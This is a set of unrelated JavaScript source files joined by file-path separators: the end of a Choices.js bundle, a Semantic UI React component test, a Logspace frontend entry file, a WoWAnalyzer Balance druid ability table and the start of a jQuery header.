{
return [].concat(_toConsumableArray(state), [{
id: action.id,
value: action.value,
active: action.active,
disabled: action.disabled
}]);
}
default:
{
return state;
}
}
};
exports.default = groups;
/***/ },
/* 21 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
var choices = function choices() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'ADD_CHOICE':
{
/*
A disabled choice appears in the choice dropdown but cannot be selected
A selected choice has been added to the passed input's value (added as an item)
An active choice appears within the choice dropdown
*/
return [].concat(_toConsumableArray(state), [{
id: action.id,
groupId: action.groupId,
value: action.value,
label: action.label,
disabled: action.disabled,
selected: false,
active: true,
score: 9999
}]);
}
case 'ADD_ITEM':
{
var newState = state;
// If all choices need to be activated
if (action.activateOptions) {
newState = state.map(function (choice) {
choice.active = action.active;
return choice;
});
}
// When an item is added and it has an associated choice,
// we want to disable it so it can't be chosen again
if (action.choiceId > -1) {
newState = state.map(function (choice) {
if (choice.id === parseInt(action.choiceId, 10)) {
choice.selected = true;
}
return choice;
});
}
return newState;
}
case 'REMOVE_ITEM':
{
// When an item is removed and it has an associated choice,
// we want to re-enable it so it can be chosen again
if (action.choiceId > -1) {
return state.map(function (choice) {
if (choice.id === parseInt(action.choiceId, 10)) {
choice.selected = false;
}
return choice;
});
}
return state;
}
case 'FILTER_CHOICES':
{
var _ret = function () {
var filteredResults = action.results;
var filteredState = state.map(function (choice) {
// Set active state based on whether choice is
// within filtered results
choice.active = filteredResults.some(function (result) {
if (result.item.id === choice.id) {
choice.score = result.score;
return true;
}
return false;
});
return choice;
});
return {
v: filteredState
};
}();
if ((typeof _ret === 'undefined' ? 'undefined' : _typeof(_ret)) === "object") return _ret.v;
}
case 'ACTIVATE_CHOICES':
{
return state.map(function (choice) {
choice.active = action.active;
return choice;
});
}
case 'CLEAR_CHOICES':
{
return state.choices = [];
}
default:
{
return state;
}
}
};
exports.default = choices;
/***/ },
/* 22 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var addItem = exports.addItem = function addItem(value, label, id, choiceId, activateOptions) {
return {
type: 'ADD_ITEM',
value: value,
label: label,
id: id,
choiceId: choiceId,
activateOptions: activateOptions
};
};
var removeItem = exports.removeItem = function removeItem(id, choiceId) {
return {
type: 'REMOVE_ITEM',
id: id,
choiceId: choiceId
};
};
var highlightItem = exports.highlightItem = function highlightItem(id, highlighted) {
return {
type: 'HIGHLIGHT_ITEM',
id: id,
highlighted: highlighted
};
};
var addChoice = exports.addChoice = function addChoice(value, label, id, groupId, disabled) {
return {
type: 'ADD_CHOICE',
value: value,
label: label,
id: id,
groupId: groupId,
disabled: disabled
};
};
var filterChoices = exports.filterChoices = function filterChoices(results) {
return {
type: 'FILTER_CHOICES',
results: results
};
};
var activateChoices = exports.activateChoices = function activateChoices() {
var active = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true;
return {
type: 'ACTIVATE_CHOICES',
active: active
};
};
var clearChoices = exports.clearChoices = function clearChoices() {
return {
type: 'CLEAR_CHOICES'
};
};
var addGroup = exports.addGroup = function addGroup(value, id, active, disabled) {
return {
type: 'ADD_GROUP',
value: value,
id: id,
active: active,
disabled: disabled
};
};
var clearAll = exports.clearAll = function clearAll() {
return {
type: 'CLEAR_ALL'
};
};
/***/ },
/* 23 */
/***/ function(module, exports) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
/* eslint-disable */
/**
* Capitalises the first letter of each word in a string
* @param {String} str String to capitalise
* @return {String} Capitalised string
*/
var capitalise = exports.capitalise = function capitalise(str) {
return str.replace(/\w\S*/g, function (txt) {
return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
});
};
/**
* Tests the type of an object
* @param {String} type Type to test object against
* @param {Object} obj Object to be tested
* @return {Boolean}
*/
var isType = exports.isType = function isType(type, obj) {
var clas = Object.prototype.toString.call(obj).slice(8, -1);
return obj !== undefined && obj !== null && clas === type;
};
/**
* Tests to see if a passed object is a node
* @param {Object} obj Object to be tested
* @return {Boolean}
*/
var isNode = exports.isNode = function isNode(o) {
return (typeof Node === "undefined" ? "undefined" : _typeof(Node)) === "object" ? o instanceof Node : o && (typeof o === "undefined" ? "undefined" : _typeof(o)) === "object" && typeof o.nodeType === "number" && typeof o.nodeName === "string";
};
/**
* Tests to see if a passed object is an element
* @param {Object} obj Object to be tested
* @return {Boolean}
*/
var isElement = exports.isElement = function isElement(o) {
return (typeof HTMLElement === "undefined" ? "undefined" : _typeof(HTMLElement)) === "object" ? o instanceof HTMLElement : //DOM2
o && (typeof o === "undefined" ? "undefined" : _typeof(o)) === "object" && o !== null && o.nodeType === 1 && typeof o.nodeName === "string";
};
/**
* Merges unspecified amount of objects into new object
* @private
* @return {Object} Merged object of arguments
*/
var extend = exports.extend = function extend() {
var extended = {};
var length = arguments.length;
/**
* Merge one object into another
* @param {Object} obj Object to merge into extended object
*/
var merge = function merge(obj) {
for (var prop in obj) {
if (Object.prototype.hasOwnProperty.call(obj, prop)) {
// If deep merge and property is an object, merge properties
if (isType('Object', obj[prop])) {
extended[prop] = extend(true, extended[prop], obj[prop]);
} else {
extended[prop] = obj[prop];
}
}
}
};
// Loop through each passed argument
for (var i = 0; i < length; i++) {
// store argument at position i
var obj = arguments[i];
// If we are in fact dealing with an object, merge it.
if (isType('Object', obj)) {
merge(obj);
}
}
return extended;
};
/**
* CSS transition end event listener
* @return
*/
var whichTransitionEvent = exports.whichTransitionEvent = function whichTransitionEvent() {
var t,
el = document.createElement("fakeelement");
var transitions = {
"transition": "transitionend",
"OTransition": "oTransitionEnd",
"MozTransition": "transitionend",
"WebkitTransition": "webkitTransitionEnd"
};
for (t in transitions) {
if (el.style[t] !== undefined) {
return transitions[t];
}
}
};
/**
* CSS animation end event listener
* @return
*/
var whichAnimationEvent = exports.whichAnimationEvent = function whichAnimationEvent() {
var t,
el = document.createElement('fakeelement');
var animations = {
'animation': 'animationend',
'OAnimation': 'oAnimationEnd',
'MozAnimation': 'animationend',
'WebkitAnimation': 'webkitAnimationEnd'
};
for (t in animations) {
if (el.style[t] !== undefined) {
return animations[t];
}
}
};
/**
* Get the ancestors of each element in the current set of matched elements,
* up to but not including the element matched by the selector
* @param {NodeElement} elem Element to begin search from
* @param {NodeElement} parent Parent to find
* @param {String} selector Class to find
* @return {Array} Array of parent elements
*/
var getParentsUntil = exports.getParentsUntil = function getParentsUntil(elem, parent, selector) {
var parents = [];
// Get matches
for (; elem && elem !== document; elem = elem.parentNode) {
// Check if parent has been reached
if (parent) {
var parentType = parent.charAt(0);
// If parent is a class
if (parentType === '.') {
if (elem.classList.contains(parent.substr(1))) {
break;
}
}
// If parent is an ID
if (parentType === '#') {
if (elem.id === parent.substr(1)) {
break;
}
}
// If parent is a data attribute
if (parentType === '[') {
if (elem.hasAttribute(parent.substr(1, parent.length - 1))) {
break;
}
}
// If parent is a tag
if (elem.tagName.toLowerCase() === parent) {
break;
}
}
if (selector) {
var selectorType = selector.charAt(0);
// If selector is a class
if (selectorType === '.') {
if (elem.classList.contains(selector.substr(1))) {
parents.push(elem);
}
}
// If selector is an ID
if (selectorType === '#') {
if (elem.id === selector.substr(1)) {
parents.push(elem);
}
}
// If selector is a data attribute
if (selectorType === '[') {
if (elem.hasAttribute(selector.substr(1, selector.length - 1))) {
parents.push(elem);
}
}
// If selector is a tag
if (elem.tagName.toLowerCase() === selector) {
parents.push(elem);
}
} else {
parents.push(elem);
}
}
// Return parents if any exist
if (parents.length === 0) {
return null;
} else {
return parents;
}
};
var wrap = exports.wrap = function wrap(element, wrapper) {
wrapper = wrapper || document.createElement('div');
if (element.nextSibling) {
element.parentNode.insertBefore(wrapper, element.nextSibling);
} else {
element.parentNode.appendChild(wrapper);
}
return wrapper.appendChild(element);
};
var getSiblings = exports.getSiblings = function getSiblings(elem) {
var siblings = [];
var sibling = elem.parentNode.firstChild;
for (; sibling; sibling = sibling.nextSibling) {
if (sibling.nodeType === 1 && sibling !== elem) {
siblings.push(sibling);
}
}
return siblings;
};
/**
* Find ancestor in DOM tree
* @param {NodeElement} el Element to start search from
* @param {[type]} cls Class of parent
* @return {NodeElement} Found parent element
*/
var findAncestor = exports.findAncestor = function findAncestor(el, cls) {
while ((el = el.parentElement) && !el.classList.contains(cls)) {}
return el;
};
/**
* Debounce an event handler.
* @param {Function} func Function to run after wait
* @param {Number} wait The delay before the function is executed
* @param {Boolean} immediate If passed, trigger the function on the leading edge, instead of the trailing.
* @return {Function} A function will be called after it stops being called for a given delay
*/
var debounce = exports.debounce = function debounce(func, wait, immediate) {
var timeout;
return function () {
var context = this,
args = arguments;
var later = function later() {
timeout = null;
if (!immediate) func.apply(context, args);
};
var callNow = immediate && !timeout;
clearTimeout(timeout);
timeout = setTimeout(later, wait);
if (callNow) func.apply(context, args);
};
};
/**
* Get an element's distance from the top of the page
* @private
* @param {NodeElement} el Element to test for
* @return {Number} Elements Distance from top of page
*/
var getElemDistance = exports.getElemDistance = function getElemDistance(el) {
var location = 0;
if (el.offsetParent) {
do {
location += el.offsetTop;
el = el.offsetParent;
} while (el);
}
return location >= 0 ? location : 0;
};
/**
* Determine element height multiplied by any offsets
* @private
* @param {HTMLElement} el Element to test for
* @return {Number} Height of element
*/
var getElementOffset = exports.getElementOffset = function getElementOffset(el, offset) {
var elOffset = offset;
if (elOffset > 1) elOffset = 1;
if (elOffset > 0) elOffset = 0;
return Math.max(el.offsetHeight * elOffset);
};
/**
* Get the next or previous element from a given start point
* @param {HTMLElement} startEl Element to start position from
* @param {String} className The class we will look through
* @param {Number} direction Positive next element, negative previous element
* @return {[HTMLElement} Found element
*/
var getAdjacentEl = exports.getAdjacentEl = function getAdjacentEl(startEl, className) {
var direction = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 1;
if (!startEl || !className) return;
var parent = startEl.parentNode.parentNode;
var children = Array.from(parent.querySelectorAll(className));
var startPos = children.indexOf(startEl);
var operatorDirection = direction > 0 ? 1 : -1;
return children[startPos + operatorDirection];
};
/**
* Get scroll position based on top/bottom position
* @private
* @return {String} Position of scroll
*/
var getScrollPosition = exports.getScrollPosition = function getScrollPosition(position) {
if (position === 'bottom') {
// Scroll position from the bottom of the viewport
return Math.max((window.scrollY || window.pageYOffset) + (window.innerHeight || document.documentElement.clientHeight));
} else {
// Scroll position from the top of the viewport
return window.scrollY || window.pageYOffset;
}
};
/**
* Determine whether an element is within the viewport
* @param {HTMLElement} el Element to test
* @return {String} Position of scroll
* @return {Boolean}
*/
var isInView = exports.isInView = function isInView(el, position, offset) {
// If the user has scrolled further than the distance from the element to the top of its parent
return this.getScrollPosition(position) > this.getElemDistance(el) + this.getElementOffset(el, offset) ? true : false;
};
/**
* Determine whether an element is within
* @param {HTMLElement} el Element to test
* @param {HTMLElement} parent Scrolling parent
* @param {Number} direction Whether element is visible from above or below
* @return {Boolean}
*/
var isScrolledIntoView = exports.isScrolledIntoView = function isScrolledIntoView(el, parent) {
var direction = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 1;
if (!el) return;
var isVisible = void 0;
if (direction > 0) {
// In view from bottom
isVisible = parent.scrollTop + parent.offsetHeight >= el.offsetTop + el.offsetHeight;
} else {
// In view from top
isVisible = el.offsetTop >= parent.scrollTop;
}
return isVisible;
};
/**
* Remove html tags from a string
* @param {String} Initial string/html
* @return {String} Sanitised string
*/
var stripHTML = exports.stripHTML = function stripHTML(html) {
var el = document.createElement("DIV");
el.innerHTML = html;
return el.textContent || el.innerText || "";
};
/**
* Adds animation to an element and removes it upon animation completion
* @param {Element} el Element to add animation to
* @param {String} animation Animation class to add to element
* @return
*/
var addAnimation = exports.addAnimation = function addAnimation(el, animation) {
var animationEvent = whichAnimationEvent();
var removeAnimation = function removeAnimation() {
el.classList.remove(animation);
el.removeEventListener(animationEvent, removeAnimation, false);
};
el.classList.add(animation);
el.addEventListener(animationEvent, removeAnimation, false);
};
/**
* Get a random number between a range
* @param {Number} min Minimum range
* @param {Number} max Maximum range
* @return {Number} Random number
*/
var getRandomNumber = exports.getRandomNumber = function getRandomNumber(min, max) {
return Math.floor(Math.random() * (max - min) + min);
};
/**
* Turn a string into a node
* @param {String} String to convert
* @return {HTMLElement} Converted node element
*/
var strToEl = exports.strToEl = function () {
var tmpEl = document.createElement('div');
return function (str) {
var r;
tmpEl.innerHTML = str;
r = tmpEl.children[0];
while (tmpEl.firstChild) {
tmpEl.removeChild(tmpEl.firstChild);
}
return r;
};
}();
/**
* Sets the width of a passed input based on its value
* @return {Number} Width of input
*/
var getWidthOfInput = exports.getWidthOfInput = function getWidthOfInput(input) {
var value = input.value || input.placeholder;
var width = input.offsetWidth;
if (value) {
var testEl = strToEl("<span>" + value + "</span>");
testEl.style.position = 'absolute';
testEl.style.padding = '0';
testEl.style.top = '-9999px';
testEl.style.left = '-9999px';
testEl.style.width = 'auto';
testEl.style.whiteSpace = 'pre';
document.body.appendChild(testEl);
if (value && testEl.offsetWidth !== input.offsetWidth) {
width = testEl.offsetWidth + 4;
}
document.body.removeChild(testEl);
}
return width + "px";
};
var sortByAlpha = exports.sortByAlpha = function sortByAlpha(a, b) {
var labelA = (a.label || a.value).toLowerCase();
var labelB = (b.label || b.value).toLowerCase();
if (labelA < labelB) return -1;
if (labelA > labelB) return 1;
return 0;
};
var sortByScore = exports.sortByScore = function sortByScore(a, b) {
return a.score - b.score;
};
/***/ },
/* 24 */
/***/ function(module, exports) {
'use strict';
/* eslint-disable */
// Production steps of ECMA-262, Edition 6, 22.1.2.1
// Reference: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from
if (!Array.from) {
Array.from = function () {
var toStr = Object.prototype.toString;
var isCallable = function isCallable(fn) {
return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
};
var toInteger = function toInteger(value) {
var number = Number(value);
if (isNaN(number)) {
return 0;
}
if (number === 0 || !isFinite(number)) {
return number;
}
return (number > 0 ? 1 : -1) * Math.floor(Math.abs(number));
};
var maxSafeInteger = Math.pow(2, 53) - 1;
var toLength = function toLength(value) {
var len = toInteger(value);
return Math.min(Math.max(len, 0), maxSafeInteger);
};
// The length property of the from method is 1.
return function from(arrayLike /*, mapFn, thisArg */) {
// 1. Let C be the this value.
var C = this;
// 2. Let items be ToObject(arrayLike).
var items = Object(arrayLike);
// 3. ReturnIfAbrupt(items).
if (arrayLike == null) {
throw new TypeError("Array.from requires an array-like object - not null or undefined");
}
// 4. If mapfn is undefined, then let mapping be false.
var mapFn = arguments.length > 1 ? arguments[1] : void undefined;
var T;
if (typeof mapFn !== 'undefined') {
// 5. else
// 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
if (!isCallable(mapFn)) {
throw new TypeError('Array.from: when provided, the second argument must be a function');
}
// 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
if (arguments.length > 2) {
T = arguments[2];
}
}
// 10. Let lenValue be Get(items, "length").
// 11. Let len be ToLength(lenValue).
var len = toLength(items.length);
// 13. If IsConstructor(C) is true, then
// 13. a. Let A be the result of calling the [[Construct]] internal method of C with an argument list containing the single item len.
// 14. a. Else, Let A be ArrayCreate(len).
var A = isCallable(C) ? Object(new C(len)) : new Array(len);
// 16. Let k be 0.
var k = 0;
// 17. Repeat, while k < len… (also steps a - h)
var kValue;
while (k < len) {
kValue = items[k];
if (mapFn) {
A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
} else {
A[k] = kValue;
}
k += 1;
}
// 18. Let putStatus be Put(A, "length", len, true).
A.length = len;
// 20. Return A.
return A;
};
}();
}
// Reference: https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/find
if (!Array.prototype.find) {
Array.prototype.find = function (predicate) {
'use strict';
if (this == null) {
throw new TypeError('Array.prototype.find called on null or undefined');
}
if (typeof predicate !== 'function') {
throw new TypeError('predicate must be a function');
}
var list = Object(this);
var length = list.length >>> 0;
var thisArg = arguments[1];
var value;
for (var i = 0; i < length; i++) {
value = list[i];
if (predicate.call(thisArg, value, i, list)) {
return value;
}
}
return undefined;
};
}
/***/ }
/******/ ]);
//# sourceMappingURL=choices.js.map
|
test/specs/views/Feed/FeedEvent-test.js
|
Semantic-Org/Semantic-UI-React
|
import faker from 'faker'
import _ from 'lodash'
import React from 'react'
import FeedEvent from 'src/views/Feed/FeedEvent'
import FeedLabel from 'src/views/Feed/FeedLabel'
import * as common from 'test/specs/commonTests'
describe('FeedEvent', () => {
common.isConformant(FeedEvent)
common.rendersChildren(FeedEvent, {
rendersContent: false,
})
common.implementsShorthandProp(FeedEvent, {
autoGenerateKey: false,
propKey: 'icon',
ShorthandComponent: FeedLabel,
mapValueToProps: (val) => ({ icon: val }),
})
common.implementsShorthandProp(FeedEvent, {
autoGenerateKey: false,
propKey: 'image',
ShorthandComponent: FeedLabel,
mapValueToProps: (val) => ({ image: val }),
})
describe('content props', () => {
it('renders <FeedContent> with extraImages prop', () => {
const images = _.times(3, () => faker.image.imageUrl())
shallow(<FeedEvent extraImages={images} />).should.have.descendants('FeedContent')
})
it('renders <FeedContent> with other content props', () => {
const contentProps = ['content', 'date', 'extraText', 'meta', 'summary']
contentProps.forEach((propKey) => {
const props = { [propKey]: faker.hacker.phrase() }
shallow(<FeedEvent {...props} />).should.have.descendants('FeedContent')
})
})
})
})
|
logspace-frontend-new/src/main/index.js
|
Indoqa/logspace
|
/*
* Logspace
* Copyright (c) 2015 Indoqa Software Design und Beratung GmbH. All rights reserved.
* This program and the accompanying materials are made available under the terms of
* the Eclipse Public License Version 1.0, which accompanies this distribution and
* is available at http://www.eclipse.org/legal/epl-v10.html.
*/
import React from 'react'
import {render} from 'react-dom'
import IndoqaApplication from 'indoqa-react-app'
import MaterialThemeProvider from 'indoqa-rebass-theme'
import routes from './routes'
import theme from './theme'
import 'indoqa-rebass-theme/dist/indoqa-rebass-theme.css'
const reduxConfig = {
reducerFilePath: './reducers',
getReducers: () => require('./reducers').default
}
render(
<MaterialThemeProvider customTheme={theme}>
<IndoqaApplication reduxConfig={reduxConfig} routerConfig={{routes}} />
</MaterialThemeProvider>,
document.getElementById('app')
)
//
//
// import React from 'react'
// import {render} from 'react-dom'
//
// import IndoqaApplication from 'indoqa-react-app'
// import routes from './routes'
//
// if (process.env.NODE_ENV !== 'production') {
// window.Perf = require('react-addons-perf')
// }
//
// const reduxConfig = {
// reducerFilePath: './reducers',
// getReducers: () => require('./reducers').default
// }
//
//
//
// render(
// <IndoqaApplication reduxConfig={reduxConfig} routerConfig={{routes}} />,
// document.getElementById('app')
// )
|
src/parser/druid/balance/modules/Abilities.js
|
FaideWW/WoWAnalyzer
|
import React from 'react';
import SPELLS from 'common/SPELLS';
import SpellLink from 'common/SpellLink';
import CoreAbilities from 'parser/core/modules/Abilities';
import ISSUE_IMPORTANCE from 'parser/core/ISSUE_IMPORTANCE';
class Abilities extends CoreAbilities {
spellbook() {
const combatant = this.selectedCombatant;
return [
// Rotational Spells
{
spell: SPELLS.STARSURGE_MOONKIN,
category: Abilities.SPELL_CATEGORIES.ROTATIONAL,
gcd: {
base: 1500,
},
timelineSortIndex: 2,
},
{
spell: SPELLS.STARFALL_CAST,
buffSpellId: SPELLS.STARFALL_CAST.id,
category: Abilities.SPELL_CATEGORIES.ROTATIONAL,
gcd: {
base: 1500,
},
timelineSortIndex: 3,
},
{
spell: SPELLS.SOLAR_WRATH_MOONKIN,
category: Abilities.SPELL_CATEGORIES.ROTATIONAL,
gcd: {
base: 1500,
},
timelineSortIndex: 4,
},
{
spell: SPELLS.LUNAR_STRIKE,
category: Abilities.SPELL_CATEGORIES.ROTATIONAL,
gcd: {
base: 1500,
},
timelineSortIndex: 5,
},
{
spell: SPELLS.MOONFIRE,
buffSpellId: SPELLS.MOONFIRE_BEAR.id,
category: Abilities.SPELL_CATEGORIES.ROTATIONAL,
gcd: {
base: 1500,
},
timelineSortIndex: 6,
},
{
spell: SPELLS.SUNFIRE_CAST,
buffSpellId: SPELLS.SUNFIRE.id,
category: Abilities.SPELL_CATEGORIES.ROTATIONAL,
gcd: {
base: 1500,
},
timelineSortIndex: 7,
},
{
spell: SPELLS.STELLAR_FLARE_TALENT,
buffSpellId: SPELLS.STELLAR_FLARE_TALENT.id,
category: Abilities.SPELL_CATEGORIES.ROTATIONAL,
enabled: combatant.hasTalent(SPELLS.STELLAR_FLARE_TALENT.id),
gcd: {
base: 1500,
},
timelineSortIndex: 8,
},
// Cooldowns
{
spell: SPELLS.INCARNATION_CHOSEN_OF_ELUNE_TALENT,
buffSpellId: SPELLS.INCARNATION_CHOSEN_OF_ELUNE_TALENT.id,
category: Abilities.SPELL_CATEGORIES.COOLDOWNS,
cooldown: 180,
enabled: combatant.hasTalent(SPELLS.INCARNATION_CHOSEN_OF_ELUNE_TALENT.id),
gcd: {
base: 1500,
},
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.8,
},
timelineSortIndex: 9,
},
{
spell: SPELLS.CELESTIAL_ALIGNMENT,
buffSpellId: SPELLS.CELESTIAL_ALIGNMENT.id,
category: Abilities.SPELL_CATEGORIES.COOLDOWNS,
cooldown: 180,
enabled: !combatant.hasTalent(SPELLS.INCARNATION_CHOSEN_OF_ELUNE_TALENT.id),
gcd: {
base: 1500,
},
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.8,
},
timelineSortIndex: 9,
},
{
spell: SPELLS.WARRIOR_OF_ELUNE_TALENT,
buffSpellId: SPELLS.WARRIOR_OF_ELUNE_TALENT.id,
category: Abilities.SPELL_CATEGORIES.COOLDOWNS,
cooldown: 48,
enabled: combatant.hasTalent(SPELLS.WARRIOR_OF_ELUNE_TALENT.id),
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.8,
},
timelineSortIndex: 10,
},
{
spell: SPELLS.FORCE_OF_NATURE_TALENT,
category: Abilities.SPELL_CATEGORIES.COOLDOWNS,
cooldown: 60,
enabled: combatant.hasTalent(SPELLS.FORCE_OF_NATURE_TALENT.id),
gcd: {
base: 1500,
},
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.8,
},
timelineSortIndex: 10,
},
{
spell: [SPELLS.NEW_MOON_TALENT, SPELLS.HALF_MOON, SPELLS.FULL_MOON],
category: Abilities.SPELL_CATEGORIES.COOLDOWNS,
cooldown: 25,
enabled: combatant.hasTalent(SPELLS.NEW_MOON_TALENT.id),
gcd: {
base: 1500,
},
charges: 3,
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.95,
averageIssueEfficiency: 0.9,
majorIssueEfficiency: 0.85,
extraSuggestion: (
<>
Your <SpellLink id={SPELLS.NEW_MOON_TALENT.id} />, <SpellLink id={SPELLS.HALF_MOON.id} /> and <SpellLink id={SPELLS.FULL_MOON.id} /> cast efficiency can be improved, try keeping yourself at low Moon charges at all times; you should (almost) never be at max (3) charges.
</>
),
},
timelineSortIndex: 11,
},
{
spell: SPELLS.FURY_OF_ELUNE_TALENT,
buffSpellId: SPELLS.FURY_OF_ELUNE_TALENT.id,
category: Abilities.SPELL_CATEGORIES.COOLDOWNS,
cooldown: 60,
enabled: combatant.hasTalent(SPELLS.FURY_OF_ELUNE_TALENT.id),
gcd: {
base: 1500,
},
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.8,
},
timelineSortIndex: 11,
},
//Utility
{
spell: SPELLS.INNERVATE,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 180,
gcd: {
base: 1500,
},
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.70,
averageIssueEfficiency: 0.50,
majorIssueEfficiency: 0.30,
},
timelineSortIndex: 12,
},
{
spell: SPELLS.BARKSKIN,
buffSpellId: SPELLS.BARKSKIN.id,
category: Abilities.SPELL_CATEGORIES.DEFENSIVE,
cooldown: 60,
castEfficiency: {
suggestion: true,
recommendedEfficiency: 0.50,
averageIssueEfficiency: 0.35,
majorIssueEfficiency: 0.25,
importance: ISSUE_IMPORTANCE.MINOR,
},
timelineSortIndex: 13,
},
{
spell: SPELLS.RENEWAL_TALENT,
category: Abilities.SPELL_CATEGORIES.DEFENSIVE,
cooldown: 90,
enabled: combatant.hasTalent(SPELLS.RENEWAL_TALENT.id),
timelineSortIndex: 14,
},
{
spell: SPELLS.TIGER_DASH_TALENT,
buffSpellId: SPELLS.TIGER_DASH_TALENT.id,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 45,
enabled: combatant.hasTalent(SPELLS.TIGER_DASH_TALENT.id),
gcd: {
base: 1500,
},
timelineSortIndex: 14,
},
{
spell: [SPELLS.WILD_CHARGE_TALENT, SPELLS.WILD_CHARGE_MOONKIN, SPELLS.WILD_CHARGE_CAT, SPELLS.WILD_CHARGE_BEAR, SPELLS.WILD_CHARGE_TRAVEL],
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 15,
gcd: {
static: 500,
},
enabled: combatant.hasTalent(SPELLS.WILD_CHARGE_TALENT.id),
timelineSortIndex: 14,
},
{
spell: SPELLS.MIGHTY_BASH_TALENT,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 50,
enabled: combatant.hasTalent(SPELLS.MIGHTY_BASH_TALENT.id),
gcd: {
base: 1500,
},
},
{
spell: SPELLS.MASS_ENTANGLEMENT_TALENT,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 30,
enabled: combatant.hasTalent(SPELLS.MASS_ENTANGLEMENT_TALENT.id),
gcd: {
base: 1500,
},
},
{
spell: SPELLS.TYPHOON,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 30,
enabled: combatant.hasTalent(SPELLS.TYPHOON_TALENT.id),
gcd: {
base: 1500,
},
},
{
spell: SPELLS.ENTANGLING_ROOTS,
category: Abilities.SPELL_CATEGORIES.UTILITY,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.DASH,
buffSpellId: SPELLS.DASH.id,
category: Abilities.SPELL_CATEGORIES.UTILITY,
enabled: !combatant.hasTalent(SPELLS.TIGER_DASH_TALENT.id),
cooldown: 180,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.SOLAR_BEAM,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 45,
},
{
spell: SPELLS.REMOVE_CORRUPTION,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 8,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.REBIRTH,
category: Abilities.SPELL_CATEGORIES.UTILITY,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.GROWL,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 8,
},
{
spell: SPELLS.BEAR_FORM,
buffSpellId: SPELLS.BEAR_FORM.id,
category: Abilities.SPELL_CATEGORIES.DEFENSIVE,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.CAT_FORM,
buffSpellId: SPELLS.CAT_FORM.id,
category: Abilities.SPELL_CATEGORIES.UTILITY,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.MOONKIN_FORM,
buffSpellId: SPELLS.MOONKIN_FORM.id,
category: Abilities.SPELL_CATEGORIES.UTILITY,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.TRAVEL_FORM,
buffSpellId: SPELLS.TRAVEL_FORM.id,
category: Abilities.SPELL_CATEGORIES.UTILITY,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.REGROWTH,
category: Abilities.SPELL_CATEGORIES.UTILITY,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.FRENZIED_REGENERATION,
buffSpellId: SPELLS.FRENZIED_REGENERATION.id,
category: Abilities.SPELL_CATEGORIES.DEFENSIVE,
cooldown: 36,
gcd: {
base: 1500,
},
enabled: combatant.hasTalent(SPELLS.GUARDIAN_AFFINITY_TALENT_SHARED.id),
},
{
spell: SPELLS.SWIFTMEND,
category: Abilities.SPELL_CATEGORIES.DEFENSIVE,
enabled: combatant.hasTalent(SPELLS.RESTORATION_AFFINITY_TALENT.id),
gcd: {
base: 1500,
},
},
{
spell: SPELLS.REJUVENATION,
category: Abilities.SPELL_CATEGORIES.UTILITY,
enabled: combatant.hasTalent(SPELLS.RESTORATION_AFFINITY_TALENT.id),
gcd: {
base: 1500,
},
},
{
spell: SPELLS.WILD_GROWTH,
category: Abilities.SPELL_CATEGORIES.UTILITY,
enabled: combatant.hasTalent(SPELLS.RESTORATION_AFFINITY_TALENT.id),
gcd: {
base: 1500,
},
},
{
spell: SPELLS.HIBERNATE,
category: Abilities.SPELL_CATEGORIES.UTILITY,
gcd: {
base: 1500,
},
},
{
spell: SPELLS.SOOTHE,
category: Abilities.SPELL_CATEGORIES.UTILITY,
cooldown: 10,
gcd: {
base: 1500,
},
},
];
}
}
export default Abilities;
|
ajax/libs/jquery/1.11.1-rc1/jquery.js
|
dmsanchez86/cdnjs
|
/*!
* jQuery JavaScript Library v1.11.1-rc1
* http://jquery.com/
*
* Includes Sizzle.js
* http://sizzlejs.com/
*
* Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors
* Released under the MIT license
* http://jquery.org/license
*
* Date: 2014-04-18T15:33Z
